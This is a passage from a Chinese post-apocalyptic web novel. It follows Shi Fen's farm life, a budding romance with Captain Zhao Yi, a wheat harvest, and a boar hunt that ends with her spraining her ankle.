时枌看见了两张震惊又愤怒的漂亮脸蛋。
“枌枌!!!”周霓瞪大眼睛。
叶枝蔚尖叫:“谁给你剪的头发!”
一向淡定的叶枝蔚竟然都能发出如此有情绪波动的声音。
时枌:“……赵队帮忙剪的。”
周霓一下子就不怕赵队了,指着人鼻子骂:“你怎么能给小孩儿剪这么丑的头发!赵队你还是个人吗?!”
赵弋:“……”
且不说是时枌要求剪这样的,他觉得也不丑。
只是,齐了点。
“我的天呐,这么齐,这么尴尬的长度!一点层次都没有!你是拿推子推的吗?!”周霓捧着时枌头发的手都在颤抖。
作为一个身处末世依旧每月斥巨资光临理发店的女人,周霓愤怒了。
叶枝蔚:“骨头拿剪刀来,洗手间里的那两个。”
骨头冲进洗手间拿了过来。
时枌被摁到板凳上,由叶枝蔚周霓两人亲自操刀。
厨房秦丰吭哧吭哧费劲拔鸡毛,连个帮忙的人都没有,愤怒在厨房门口叉腰让叶枝蔚来拔鸡毛,周霓让他滚。
秦丰退而求其次,但目光扫过粗手粗脚的骨肉,毛毛躁躁的老六,最后只能朝某人出手。
“老赵!来帮忙!”
赵队不想动。
他又不吃饭,当然不想拔鸡毛。
使唤不动老赵这事秦丰已经习惯,本想忍气吞声自己花点功夫拔了算了。
被压在客厅中间的时枌脑袋不能动,眼神瞥了一眼赵弋。
然后秦丰就发现,老赵!他!动了!
看见赵队往厨房走,骨头浑身一哆嗦,后背发凉。
张照照傻乎乎地试图掺合女孩子剪头发,被周霓叶枝蔚骂得狗血淋头。
足足一个小时才完工,秦丰四菜一汤都做好了。
“你看,这个长度刚刚好,你能扎起来,也能编小辫子,披散也不热,还有哦,看看你这个脸颊的弧度,啧,完美!”
“我特地没给你剪刘海,大夏天热死了,没刘海凉快,只是简单修了一下,喏,是不是很自然。”
“你看不见后背,来来来,骨头举着镜子,这样是不是很自然!”
骨头兢兢业业稳如老狗端着镜子站在时枌面前,周霓则是拿着另一面镜子在时枌身后,两人配合,成功让时枌看见了自己后背的头发。
“哇哦。”时枌发出真诚的赞美之声。
叶枝蔚跟周霓都满意了。
趁着没吃饭,骨头问房间怎么分配。
周霓大大咧咧:“还就照之前的呗,我俩住楼上,你们在楼下分一分,正好两间房四个人,也就住一天嘛,赵队明天也得回阳县的吧?第二批次迁移居民到了呢。”
赵弋很不想搭话,“嗯。”
她要是不提,他还能多留几天。
只是迁移居民而已,难道还要他回去帮忙搬行李吗?刚到这几天还不是各自收拾东西,反正矿场还没开工,他回去也是当个吉祥物。
“那我跟老六一间,秦副队跟赵队住那间,正好。”骨头手一拍,确定了。
赵弋却要开口。
时枌一个眼神让他闭嘴。
赵弋:“……”
“正好,我去收拾下东西,顺便铺个床,嘿嘿。”骨头进屋去了。
周霓上楼挑书,叶枝蔚被拽去厨房。
时枌趁张照照一个不注意,拉着赵弋到了后门。
后门小,有条走廊,楼梯下的空间一般是用来堆杂物的,相对隐蔽,时枌一把就把赵弋推进去了。
赵弋好险没被脚边的镰刀割下块肉。
四目相对。
时枌也注意到了,低声说了不好意思。
赶在人开口前,时枌先发制人:“我知道刚说了那间房是给你的!”
“但是你也不能这么小气,人家也就住一个晚上!一个晚上而已!等他们走了我会给你收拾干净的!还是你的!”
赵弋:“呵呵。”
第75章 第75章“我是你的人,他们不是……
赵弋脸上那种嘲讽轻蔑的表情一出来,时枌就伸手摁着他脸给他上半身彻底摁进了杂物堆里,当然,她把那把镰刀一脚踢到木桶后边去了。
万一真伤到了他不得找她负责啊?
“你别给我摆出这种表情啊,”时枌凶他,“就一晚,你不要有意见,更不能在他们几个面前说什么乱七八糟的,明白吗?”
赵弋明白了。
他不仅是个赘婿,还是个不能见光的赘婿。
“我有那么见不得人吗?”他平静开口。
男人脸隐在暗处阴影下,眼睫低垂,眉毛微皱,很有几分落寞的感觉。
赵弋这双平时看上去深邃威严的眼睛,近看却让人觉得格外……
说不出来什么感觉。
就觉得他挺可怜的。
有点像受了委屈的虎子。
刚才还很强硬的时枌一下子就愧疚了。
“我也是为你着想,你好好一个队长指挥官不干,来我这倒贴,说出去多没面子呀。”时枌低声劝他,拿出自己哄阳阳的语气,“我也是为了你在队员面前的威信着想。”
她说的自己都
信了。
赵弋:“呵呵。”
时枌:“……”
又来了又来了,又嘲讽她!
作为一个合格的农场主,时枌无师自通开始画大饼。
“你放心,我会给你补偿的。”
“哦?”他挑眉,那双方才还落寞的眼睛似乎被她一句话又燃起了希望,“有什么补偿?”
甚至不自觉直起身体。
原本他就是后仰被她压着几乎靠在身后的货架上,腿边还放着一堆乱七八糟的杂物,头顶是倾斜的楼梯,让他被迫低着头,现在身体稍稍往前,就离压着他的时枌更近了些。
那种被突破安全距离的不适感让时枌几乎是下意识地后撤,拉开距离。
两人一进一退,被摁进阴影的赵弋就露了才出来。
正好周霓叫她,时枌一个紧张,伸手又把人给摁了进去。
赵弋:“……”
但凡他腰差一点,现在都不能稳稳站着。
时枌只想尽快结束对话。
“你要什么补偿?”时枌说,“农场里有的,我能给的,都行。”
就算他现在不讲道理要求她连夜杀只猪给他炖骨头汤喝,时枌也不在话下。
“你得自己想。”赵弋深吸一口气,尽力维持着后仰的姿势,一手撑着身后的木头货架,给自己撑了半手的灰尘。
“我自己想?”时枌皱眉,“你就没什么具体条件吗?”
他似乎是认真想了想,目光瞥向外边,意有所指道:“我要他们都没有的。”
时枌:“???”
啊?要这个做什么?
时枌自己也只有一把,还是好不容易换来的,说实话是真的舍不得为了哄他就给出去,但是……
“行,”时枌一口应下,“那把雷/明/顿700给你了。”
赵弋倒吸一口气,笑了,“我要你狙击枪做什么?”
“我怎么知道你要那玩意做什么,你不说想要么?!”
他俩还没商量出个结果,楼上周霓没见着人下楼来了。
“枌枌!枌枌!这几本书我要带走哦~你人呢?来看看啊!”
时枌连忙扭头:“来了来了——”
这时周霓已经下楼,歪着脑袋朝她这边看来,“跟谁偷偷摸摸呢?”
原本被时枌摁进去的赵弋跟浮漂似的又冒了出来,淡定吐出两个字:“跟我。”
周霓一副见了鬼似的,哆嗦两下哒哒跑上楼了。
时枌看着面前的后脑勺,一咬牙,踩了他一脚,走了。
赵弋若无其事从楼梯下出来,拍了拍身上的灰尘。
他穿的军靴,是真的,一点都不疼。
饭菜早就做好因为这俩人偷偷摸摸不敢大声喧哗的秦丰看见老赵施施然出来,啧啧两声,才扯着嗓子喊其他人吃饭。
然后拉着老赵小声问:“你觉得合适吗?”
“有什么不合适的。”
他语气没有半点反问的意思,反而有种硬要抬杠的感觉。
“我看时枌跟看我女儿似的,你一把年纪好意思下手?”
赵弋:“???”
他二十七,她二十一,也就六岁的差距,有什么不好意思的?
“人家才十几岁小姑娘……”
“二十一。”
“啊……时枌有二十吗?不可能吧,我看着比糯糯大不了几岁啊。”
赵弋用一种看神经病的眼神看着他,“你去军区医院挂个号,找眼科刘医生,就说是我让你来的,挂号费算我的。”
听出来是在拐着弯骂他的秦丰:“……”
“切,我就不信,时枌一看就不喜欢你。”秦丰撇撇嘴,一句话狠狠扎他赵队心窝上。
作为队里唯一拥有稳定女朋友的秦副队,在这点上有着绝对的话语权。
就连赵弋也无法反驳。
“你胖成这样叶枝蔚还肯要你?”恼羞成怒的赵队开始人身攻击。
“嘿嘿,你不懂吧,我俩是真爱,我变成啥样她都喜欢。”
“……”
赵弋扭头问刚下楼的叶枝蔚:“秦丰说他就算胖成猪你也非他不可死乞白赖至死不渝?”
叶枝蔚回以白眼。
秦丰:“……别信他,我都开始减肥了!今天我不吃米饭!”刚刚已经在厨房偷偷吃了两个馒头。
这顿饭秦丰为了表明自己减肥的决心,愣是一块黄瓜都没吃,干坐着等他们吃完,还亲自收拾碗筷。
这让饱饱吃了顿手撕鸡的时枌很有心理压力,——虽然其他人都没有。
“其实吃西红柿也不会胖,要不你吃点?不然晚上会饿的睡不着的。”时枌意思意思劝了一句。
秦丰立马接话,“正好厨房还有几个番茄,我就垫垫肚子,嘿嘿。”
叶枝蔚也不拦着他,反正马上去了阳县,大家都喝营养液,他也没得吃,她就不信瘦不下来。
明早大家就要出发去阳县,晚上骨头撺掇周霓要搓几圈麻将,但凑了凑,发现三缺一。
周霓骨头秦丰三个,张照照完全不会,上牌桌就是折磨其他人,叶枝蔚不想玩,她要趁着这边有水好好洗头洗澡,至于时枌,她很忙。
忙着帮他们摘明天去阳县的伴手礼。
赵队?赵队不玩这个。
没得牌搓,大家只能清闲地坐着聊天,周霓闲不住,去帮时枌摘菜去。
时枌带了个手电筒,一只手拿手电筒一只手摘菜很不方便,周霓来了就帮她打手电筒。
她这边除了瓜就是一些菜了。
这个季节方便存放的有黄瓜、南瓜、瓠子、豆角这些,他们带去阳县还能吃几顿,时枌得今天给摘好,明天他们直接带走就行。
周霓神秘兮兮憋了半天,终于忍不住问她:“你跟赵队那会儿在聊什么呢?”
“……聊我那些麦子要怎么处理。”时枌正经道。
“就这?”周霓满脸不信,摇头晃脑,“枌枌有事瞒着我咯~”
“……今天早点你们没来的时候,我跟他说一楼那间房给他了,结果你们来了,秦丰住进去了,他不高兴。”
“哦~所以呢?”
“我就劝他不要不高兴。”
“哦~所以呢?”
“他要补偿。”
“哦~~~”
时枌被她这七弯八绕的“哦”哦得头皮发麻起了一身鸡皮疙瘩。
“所以你给他什么补偿呀?”周霓坏笑着夹着嗓子问。
“没谈拢。”
“……”
这个措辞还真是新奇,给周霓都整不会了。
“咳咳,你问他要什么了吗?”
“问了,”这个时枌能回答,“他说要你们没有的。”
周霓噗嗤笑出声,开始出馊主意:“赵队好歹是个大男人,怎么这么矫情?不就是个房间么?干嘛这么小题大做。要我说,枌枌,咱不能这么惯着他,还不~高~兴~哼,他凭什么不高兴?”
“听我的,跟他说清楚自己的底线,咱们不能这样被人拿捏。今天就敢因为这点小事要占你便宜,明天就敢上房揭瓦!怎么!你农场要跟他姓赵啊!翻了天还!”
时枌深以为然,认真学习。
她摘完菜就去找他。
楼梯间已经不是安全地方,时枌把人带到了后院,他的越野车旁,这个角度能用越野车挡住两人身形,谁也看不见她们。
赵弋好整以暇靠着车门,看着她。
时枌:“你不要觉得自己很特别就在这里搞特殊,大家都好好的一起住,就你在这破坏团结。”
赵弋:“谁教你的?”
“你别管谁教的,反正,以后在我的地盘,不允许你搞特殊,大家一视同仁,明白吗?”
赵弋笑了。
时枌一脸严肃瞪他:“笑什么笑!”
还笑这么开心!
“首先一点,我跟他们不一样。”他低头与她对视。
时枌被那双沉静的眸子捕获,一时间忘了维持自己严肃认真的表情,眼睛微微瞪大,眨了眨,注意力都放在了他眼睫的阴影上。
“我是你的人,他们不是。”
这话冲击力太大,时枌一下子头脑空白。
等等,有点不对劲,但是……他说的好像没问题啊。
那问题出在哪?
哦对,是他说话的语气。
时枌从来没听过这种心甘情愿的话,如果这年头还有卖身契这玩意的话,恐怕此时他已经双手奉上。
她勉强找回理智,“那也不代表我就非得哄你。”
“这样,如果有一天,大熊因为你忘记喂饭跟你发脾气,你会怎么做?”
“哄它。”
“所以呢,我是你的人,连条狗都不如?”
“……”
总觉得哪里不对,但又不知道哪里不对。
“是周霓教你的吧,”他低声说,“他们只是你农场的过客,想来就来想走就走,但是我不一样,我是你的人,又能干又听话,你不哄着我哄着他们做什么?笨吗?”
时枌真的认真思考了,恍惚间头脑一下子清醒,十分确定:“你这是在挑拨离间。”
第76章 第76章他温顺地低下脑袋。
“他俩聊什么呢?”
二楼的叶枝蔚跟周霓趴在窗户沿试图靠肉眼分辨不远处越野车后的两颗小脑袋在干嘛。
二楼时枌的房间窗户开在侧面,能看见底下菜园跟原来牲畜栏的位置,但隔壁她们住的这间房窗户开在后边,正对着后院,为了不被人发现她俩在偷窥,周霓把屋里的蜡烛都吹灭了,半个身子伸出窗户窥探。
她等的抓心挠肺,恨不得去时枌房间把那把狙击枪上的夜视仪拆下来好好看看看这俩背着她们在干啥。
叶枝蔚也好奇,但她也无可奈何。
因为是真的看不见听不着,最多就能看见一片乌漆嘛黑中越野车车身的反光以及依稀的两个黑乎乎脑袋,有时候似乎撞在一起,有时候似乎离得有点距离,她连他俩有没有亲上都不知道。
“枝蔚,你说……赵队在我们之前就来这里了,他是不是对枌枌,嗯?”周霓扭头朝叶枝蔚挤眉弄眼。
叶枝蔚:“显而易见。”
“可是赵队……”平时看时枌就跟自己好闺蜜好女儿一样的周霓瞬间有了警惕感,现在再看赵弋,不是之前那个冷脸沉默寡言的赵队,而是一个试图勾搭她天真无邪宝贝女儿的老男人,“赵队一把年纪了,他俩也不适合吧,要我说张照照那个年纪跟时枌比较配。”
“张照照?你确定?”
“我不是说他本人,是他这个年纪,二十四五,只比时枌大三岁,很合适嘛,像赵队这种年近三十的老男人,阅历又广,说不定就喜欢玩弄小姑娘感情呢。”
“你确定你说的是赵队?”
“好吧,我承认我对他有偏见,但那是时枌诶,她根本就不懂什么是喜欢,很容易被骗的。”
这点叶枝蔚跟她持相同观点,“我不太了解赵队,但我对他大概印象是个比较靠谱的队长。”
“不可否认赵弋平时做队长还是很负责的,但是吧……谈恋爱就是另一回事了。”周霓开始发愁,“我怕枌枌玩不过他。”
叶枝蔚耸耸肩,“算了,别多想,早点休息吧。”
叶枝蔚对时枌跟赵弋之间的关系并不太在意,她觉得时枌不是那么脆弱的人,谈谈恋爱挺好的,还能让赵队帮忙干活,叶枝蔚今天看见时枌手上割麦子划破的小伤口,怪心疼的。
她也只是一个小姑娘,这么大的农场都要她自己一个人来守,太辛苦了,有人帮忙分担的话,时枌也能轻松一些。
周霓不肯撤,朝她摆摆手,“我等枌枌上来再睡,你先睡吧。”
***
越野车旁,时枌隐约看见二楼的光亮,似乎有人影一闪而过,想起自己之前跟周霓在二楼偷窥叶枝蔚下楼谈恋爱,这会儿自己一个人在外边,她俩说不定也在二楼拿夜视仪偷窥她。
风水轮流转啊。
但她大大方方的,没啥见不得人的。
“我劝你不要再说这种话,他们都是我的好朋友,也是一个队的队友,你还是队长呢。”时枌严肃地戳戳他胸口,试图唤起赵队内心的良知。
她没用多少力气,也不习惯留长指甲,秃秃的手指戳着,赵弋低头看见她手上细碎的小伤口,眼皮下压,目光深沉,右手捉住她的手,拉到跟前仔细看了看。
“之前给你买的医疗箱里有药,上去记得涂。”
时枌莫名有点不自在,仿佛自己在周霓跟叶枝蔚的注视跟被他拉着手,先前那点大大方方也不顶用了,试图抽回自己的手,他却没放。
“知道是什么药吗?”
“……不知道,但我会看说明书。”
“嗯。”他轻笑,“好歹今天是我受委屈了,你再哄哄我,我也就好了。”
“怎么哄?跟哄狗一样吗?”时枌真诚提问。
“……差不多。”赵弋勉为其难接受了她这个说法。
时枌犹豫半晌,用了点力气抽出自己的手,缓缓抬起,发现他有点高,提醒他:“低头。”
他温顺地低下脑袋。
时枌的手就落到他头上,缓缓揉了揉。
很……奇妙的触感。
大熊的毛发是有点扎手的,不够顺,而且大部分时间也是脏的,但赵弋的头发长长了些,不像短发时会扎手,反而很顺滑,跟他此时的动作一样温顺。
掌心痒痒的,那种痒似乎蔓延到了心脏。
简单揉了两下,时枌刚想收手,腰后就多了一只大手,稍稍收紧,她身体不稳向前踉跄两步,主动投怀送抱,落到他怀里。
那只在他头顶的手,也顺着落到人后脑、后颈,自己颈间埋入一个温热的呼吸。
时枌整个人都麻了。
她记得她跟周霓抱的时候什么感觉都没有,现在却完全不一样,呼吸急促心跳加速,莫名的上头,导致她动作缓慢头脑空白,从脖子到耳朵噌地一下开始发烫。
但他很快就松开了。
“不排斥吧?”他问。
时枌:“……”
虽然很不想承认,但她确实不反感。
“跟叶枝蔚周霓抱你一样吗?”
“……”
“这说明我是特殊的,跟他们不一样,明白吗?”
他笑得很得意。
但并不欠揍。
时枌有点乱,“……你好了吧?我回去睡觉了。”
然后落荒而逃。
赵弋一个人在原地,听着自己还未平稳的心跳,低头看着自己的手。
刚刚确确实实抱了人家,似乎手心还残留着不属于自己的身体的柔软,令人上头的触感,让他觉得自己……像个发情的禽兽。
明天让他们一群人自己回去算了,他大不了厚着脸皮留下,先刷存在感,让她适应一下这个家里多个常住人口是什么感觉。
赵弋自己单独做了这个决定。
第二天一早。
时枌睡的不太好,但叶枝蔚跟周霓起得早就开始收拾东西,她被吵醒了,干脆就跟着起床,洗漱完,下楼去厨房拿了个馒头叼嘴里,咬下一口,先打了个哈欠,再继续吃。
他们几个都在收拾东西。
虽然只住了一晚,但肯定是弄乱了点什么的,比如床单毯子要拿出来清洗晾晒,桌椅板凳归位,再把时枌昨晚摘给他们的菜搬到车上去。
他们五个人开了两辆车,自己的行李都在车上,不是跟着迁移居民大部队来的,因为是士兵,相对自由,可以单独提前迁移来阳县,只需要今天早上去阳县报到就行。
屋子里就剩下时枌最清闲了。
哦对,还有没有行李需要收拾的赵弋。
他端着个杯子,坐到她身旁的椅子上。
两人胳膊时间只隔了几十厘米。
时枌在他坐下的瞬间就应激了,浑身发毛,不着痕迹连人带椅子往外挪了挪。
然后就听见赵弋漫不经心地对她说:“我今天不回阳县。”
语气淡定的像是在布置任务。
时枌恨不得当场捂住他的
嘴。
她火速扭头,发现其他人都在忙,秦丰忙着检查厨房的咸鸭蛋皮蛋腌制进程,酵母还活着没,还要带一些佐料去阳县方便自己开火做饭,骨头张照照去后院晾床单被罩了,周霓在洗手间对着镜子弄头发,叶枝蔚没见人,估计是去车上搬东西了。
没人听见他刚刚说了什么。
时枌松了口气的同时,低声叮嘱他:“你不要胡说,你一会儿就跟他们一起回阳县。”
“我是你的人,我留下来不是很正常吗?”
他快要把这句话贴脑门上了。
“不行,他们都走了,你一个人留下,不……不成体统!”时枌绞尽脑汁才想出这么个词,同时嘀咕,“显得咱们俩有什么不正当关系似的……”
“情侣关系,是正当关系。”赵弋劝她,“你看秦丰跟叶枝蔚,不是挺好的?”
时分也觉得他俩挺好的。
但就是莫名羞耻,不想让他在今天这个时候留下。
一而再再二三地给这个男人搞特殊,只会助长他的嚣张气焰,说不定以后就不好拿捏他了。
时枌理智回归,平静下来,“这段时间农场不是很忙,暂时不需要你来,你在这里我还得管你一顿饭给你安排事做,我过段时间得上山的,你还是回阳县办自己的事吧。”
赵弋听出她语气当中的认真,知道她真的不愿意他留下,有点小伤心,但也没太伤心。
正常的,他一个快三十的男人,没那么容易受伤。
况且昨天冒犯之后,他再违背人家心意让人家为难不高兴,只会让她对自己的印象变差。
“好吧,我听你的。”他说,“昨天那一批瓜是我出积分买,但是,我们这种关系,我的积分就是你的积分,为了方便,我就不转账了,手表呢?”
“在楼上呢,干嘛?”不做任务的时候手表就是个摆设,她才不会戴在手上碍手碍脚的。
“算了,你过来一下。”
时枌靠过来,他伸手摘下手表方便给她看,“这个是账户共享,我需要录入你的信息,之后你就可以直接用我账户里的积分,也能看见我的账户积分余额。”
“哇。”
一说到钱,时枌眼睛就亮了。
“那我的钱也是要跟你共享吗?”
“不用,入赘就要有入赘的样子,你的积分还是你自己的,这个共享是单方面的。”
时枌对这个单方面的共享非常满意。
“然后这个界面是消费记录,能查到用积分买了什么,过段时间后续部队来阳县通水通电,之后就会跟保护区一样,也会开放商店……”
时枌听的很认真。
两人之间距离不自觉拉近,赵弋一低头鼻尖就能碰到她的头发,一早上随手扎的马尾,尾巴在他手臂外侧轻扫着,痒痒的。
趴在洗手间门框上的周霓一脸心痛看着两个靠近的脑袋,抓到经过的叶枝蔚开始控诉:“你看看他俩!都快亲上了!”
叶枝蔚:“淡定,还没亲上。”
第77章 第77章“好疼啊。”
临走前,其他人都上车准备出发了,周霓拉着时枌在桃树下言传身教苦口婆心劝导许久。
“枌枌啊,一定要稳住自己的家庭地位,千万不要让有心之人动摇!相信姐妹!枌枌是最棒的!男人只能当牛马,不能沉沦!保持清醒!”
铿锵有力的话语传入时枌耳朵。
时枌坚定地点头,“好的!”
“那我们走了啊,你好好在家呆着,我要是没啥任务会回来烦你的,天气热就别干活了,别中暑,自己一个人在家万一你有个啥我们都不能及时发现……”
周霓面对的仿佛不是一个年轻且精力十足的二十出头青年,而是一个被子女留守老家的孤寡老人。
终于送走他们,远远看着车队上了马路,沿着蜿蜒的马路朝阳县而去,时枌心里也瞬间空落落的。
哎,刚分别就有点想他们了呢。
但一扭头看见自己家的院子,脑子里又被铺天盖地的活装满。
首先马场旁边油布上的小麦要处理,然后是家里这些乱七八糟的要收拾,还有喂狗喂鸡喂鸭喂猪喂羊……
时枌撸起袖子,先去菜园逛了一圈,把老的、长得磕碜的菜摘了一篮子丢进鸡栏鸭舍,再去把大花小牛放出来去罗辉家玩,小花照旧喂胡萝卜培养感情。
最重要的就是这些小麦了。
时枌戴着遮阳的帽子,宽宽的帽檐能遮住一整个脑袋跟几乎所有肩膀,后脖颈还搭了一条湿毛巾避免晒伤,去把油布揭开,铺平,再把堆起来的小麦都铺到油布上去摊开晾晒。
小麦收获只是第一步,下一步是脱壳。
相比稻谷需要用到土砻,小麦脱壳相对方便一些,需要先暴晒再用石碾碾压帮助脱壳,再扬麦,扬麦还需要挑有风的时候,更能帮助分离小麦与杂质。
第一步的碾压前些年都是大花帮忙碾的,今年有了新牛,也该让年轻的牛马干活了。
时枌把小牛牵过来,先喂他吃东西培养感情,再让它拖动石碾碾上麦子。
得走好几圈,天气又热,干半小时牛就不想动了,时枌只能带它去池塘边泡澡休息,她也坐在池塘边钓鱼,解决今天的午饭晚饭。
这池塘感觉都泛滥了,她跟罗辉一家一起吃都没教育好这群笨笨的鱼,还是看见饵就上钩,时枌自己本身钓鱼技巧很一般,陪着小牛泡澡这个把小时就钓起来好些鱼。
看着水桶里扑腾的鱼开始发愁。
她其实不太喜欢这种钓上来的鲫鱼,鲫鱼虽然肉质鲜嫩,但是刺特别多啊,尤其是这几条特别大的,红烧,肉又比较柴不好吃,切块腌了再煎鱼块,刺又太多。
鲫鱼她更喜欢吃那种巴掌长的小鲫鱼,中长的她都嫌太大,小鲫鱼虽然刺也多,但是肉质鲜嫩,红烧也更入味。
时枌就把水桶里的大鲫鱼都丢回了池塘,只留下小的,太小的也丢出去了,至于剩下两条比较大的黑鱼,她想了想,罗辉家小孩多,黑鱼刺少适合小孩吃,她可以送给他们家。
池塘边还有不少虾,时枌今天没那个闲工夫做小龙虾,暂且饶它们一命。
把黑鱼送到罗辉家,罗辉看见她本来就不多的鱼,以为她今天没钓到多少死活不肯要,推三阻四的,时枌好说歹说才留了一条大的黑鱼给烈烈跟阳阳吃,罗辉还硬塞给她两块卤牛肉,还是特别挑选的腱子肉。
“卤水还是之前秦丰帮忙调的,佐料也都是你的,卤牛肉有你的一份功劳,你回去切片凉拌,这个季节吃刚刚好。”
时枌也确实馋卤牛肉,毕竟她没有多余的牛可以杀来吃,自己一个人也不想费这么大的功夫来调卤水卤牛肉,也就没跟罗辉客气。
“早上
阳阳来送牛奶记得让她自己去菜园摘菜哈,绿豆你们家还有吗?我在山脚下田梗边上种了一些,你们要是不好意思找我要就自己去摘,那边还有不少野生的茼蒿大碗豆小豌豆什么的,哦对,还有毛豆,秋天摘回来还能炒黄豆吃,就当是零嘴了。“时枌叮嘱了很多,生怕他们不去摘。
罗辉笑着应好。
时枌回家煎了小鱼,凉拌了卤牛肉,拍了黄瓜,自己煮了稀饭吃的饱饱的才去继续碾麦子。
接下来这段时间趁着没雨,时枌每天两眼一睁就是麦子的活。
扬麦是个枯燥疲惫的活,不断用锹把麦子扬起,杂质被风吹到旁边,麦子落下,以风力来分离麦子与杂质,至于剩下的灰尘还需要用竹篾来仔细清理。
每一袋麦子都是她汗水的结晶。
除了麦子,剩下的麦秸秆就扎起来堆好,这种晒干了的麦秸秆特别容易燃烧,可以先点燃再用来引燃柴火。
麦秸秆被她靠着小花的马厩整齐堆放起来,摞起来比马厩都还高,上边简单盖了一层防水的油布,避免下雨淋湿。
小麦彻底脱壳后还需要继续晒,时不时用耙子翻面确定晒透才行。
这些都完成后就被时枌收进袋子里,一袋一袋抗进地窖保存,留了两袋用石磨磨成面粉留在厨房备用。
还有一部分小麦跟杂质实在分离不出来的,就被她丢进鸡舍喂鸡了。
这段时间因为手表信号不好,时枌一般都没管,睡前偶尔看看,才发现周霓他们给自己发了消息,时枌回完,才去看赵弋给自己发的。
赵弋发的就很没有营养。
什么“今天吃了什么”“在干活吗”“看看老四”等等短句子,时枌懒得回就丢到一边,偶尔还会有一个未接来电,估计是她正在扬麦的时候打来的,她也没接上,她又没信号给他拨过去,放着放着时枌就忘了。
时枌每年夏天都会进山狩猎,打打牙祭,也算是她每年的娱乐活动,一般都是在小麦忙完之后。
进山之前,她跟余袅学了烙饼,自己烙了一些,再用一袋绿豆交代罗辉家帮忙喂牲畜后,就带着银鸽、烙饼、肉干、水壶、虎子大熊一起进了山。
出门前时枌想起手表,心想万一自己出个什么事有这玩意还能召唤人来救自己,就顺便带上了。
山里跟农场相比宛如另一个世界。
这座山被遮天蔽日的植被覆盖,还有溪水潺潺,一进入林荫时枌身上的燥热就缓缓散去,就像回到温度适宜的春天。
去溪水边灌满水,时枌顺着记忆中的路往里走。
时枌多次上山,脑子里已经大概有了一个地图,什么方位经常出现什么野兽她大多清楚,小时候爷爷给她讲的故事也大多是山上这些野兽的故事,耳濡目染的,她也记得格外牢一些。
时枌这次上山还想抓一些鹌鹑回去。
她现在农场地方大了,只养鸡鸭似乎不太够吃,也不够丰富,就想养一些别的。
鹌鹑就很合适,能产蛋,繁殖快,也能吃肉,——虽然不多。
但这小玩意占地小呀,只用在柴房旁边开个地方就能养。
时枌按照记忆找到鹌鹑出没的地盘,一边蹲守一边做了个简单的捕鸟装置。
跟赵弋之前用铁锅不一样,她这次用的是小木条,顶上用大片树叶重复压严实,周围是木条,底部挖一个浅坑,木条是活动的,跟帘子一样,只是木条长度在坑内,也就是说从外到内畅通无阻,但是一但进入就无法出去。
时枌花了点时间做了个稍大的坑,坑里面洒了一些小麦,就在旁边蹲守。
山中鸟类不常见人,也不常见这类陷阱,还是很好抓的。
时枌抓了两只就拆出来,趁着天亮拔毛处理刷上秦丰秘制烧烤料烤了吃了,她一只,虎子大熊一只,虎子大熊是没有烧烤料的版本。
晚上有两条猎犬在周围,时枌也能安心睡觉。
捕鸟陷阱设置好了她就不打算管,只做好标记,到时候回来取鸟就行,第二天天一亮她吃了个烙饼就继续出发了。
中途路上掏鸟蛋,烤熟垫垫肚子。
一路搜寻,终于找到了野猪刨土的痕迹。
甚至还发现了一些松茸,被时枌收入囊中。
野猪这玩意,够大,够吃,但问题是它野性足,力气大,一旦缠斗起来很容易受伤,那就得不偿失了。
时枌按照之前的习惯,让虎子大熊配合,自己先上树。
她枪法准,让虎子大熊去骚扰,她在高处补枪。
确定好野猪方位,时枌找了棵大树爬上去。
事情进展的很顺利,野猪发狂,时枌两枪分别打中野猪后背跟脖颈,野猪被机灵的虎子逗得气喘吁吁,都快被气死了,血也流了不少。
时枌看准时机下树,一边装子弹,一边试探靠近野猪。
谁知道突然一下,原本倒地的野猪朝她奔过来,时枌反应已经够快了,抬枪瞄准脑袋一枪几乎炸掉半个野猪脑袋,但同时野猪不受控制朝她倒来。
她根本来不及转身,下意识倒退,一脚不知道踩到了什么上,滑倒的同时她很聪明地张开双腿同时后撤,野猪狠狠砸到了她腿中间的空地上。
时枌听见了清脆的,“咔”地一声。
说实话,那一瞬间她没别的想法,只是非常清楚地意识到:她脚好像出了点问题。
与此同时,时枌也增长了见识:原来骨头错位是这个声音。
时枌心有余悸地喘着气,发现自己右脚以一种诡异的角度扭曲着。
行吧,她心态很好地想着,至少没被野猪砸到腿,不然就不只是崴脚这么简单了。
时枌从地上爬起来,单脚不太方便,但也不是不能走,她就当崴了的那只脚不存在,——虽然是真的很痛,她拿绳子把野猪腿脚绑起来,再看看炸开花的野猪脑袋,心想回去就杀了给她补身体。
野猪太重,不过还好她是要下山,单腿蹦哒着,还有虎子大熊帮忙,连拖带拽靠着时枌坚强的毅力硬是把野猪拽到了捕鸟陷阱这边。
反正她是绝不可能把这只野猪留在山上给别的野兽享用的。
这会儿陷阱里已经有上十只野鹌鹑了,还有几只小鸟,时枌不需要,就给放了,野鹌鹑用麻袋装了抗在肩上,一开始还扑腾两下,被时枌拍了两下就老实了。
她就这么蹦下山,一边找信号,终于,把电话拨了出去。
不知道赵弋是不是在报复她不回消息也不接电话,竟然好一会儿才接通。
不管是不是这个原因,时枌都打定了主意一定要让他狠狠愧疚。
她想着脚上的疼痛,狠狠吸了吸鼻子,在电话接通的瞬间没给对方任何发言的机会,首先开口。
“我上山脚崴了。”
“好疼啊。”
第78章 第78章又没人看抱一下会怎样?……
阳县。
接近半个月,主动找他就别想了,不回消息不接电话,音讯全无,但一看群消息,就能发现她在群里晒麦子晒秸秆,底下是整齐的鼓掌,热闹依旧。
赵弋觉得自己可能被休了。
这期间第二批次迁移居民到达阳县,赵弋在基地整顿队伍、巡查、清理危险分子,也算是忙了起来。
阳县内居民鱼龙混杂,有老实安分的兰城人,也有在兰城混不下去试图来阳县的小混混,更有部分从源城来的难民,后两个属于潜在的危险分子,最近巡查也格外严格,三令五申禁止闹事。
因为阳县情况特殊,在这个节骨眼闹事没有什么监禁流放,直接枪毙。
走法律程序监禁还需要有司法部有监狱,阳县都没有,流放?这种人放出去不仅容易泄漏阳县内部消息还容易引起仇恨,万一他们带人来报复呢?所以干脆直接枪毙,不管其他。
特殊时期特殊手段,毙了两个后,明显他们就老实了。
阳县军事基地在原本阳县的基地基础上扩建,仓库依旧是仓库,办公楼也依旧是办公楼,他所处的这栋楼是平时他们这些草台班子开会上班的地方,因为人少,部门还凑不齐,只有几个要紧的工程部、安保部这类先塞了几个人带队干活,秦丰刚上任就被他派去管巡查的队伍了,马不停蹄开干,半个月天天跟着在阳县周围绕圈又只能喝营养液,他秦副队明显瘦了不少,大码作战服也不用申请了。
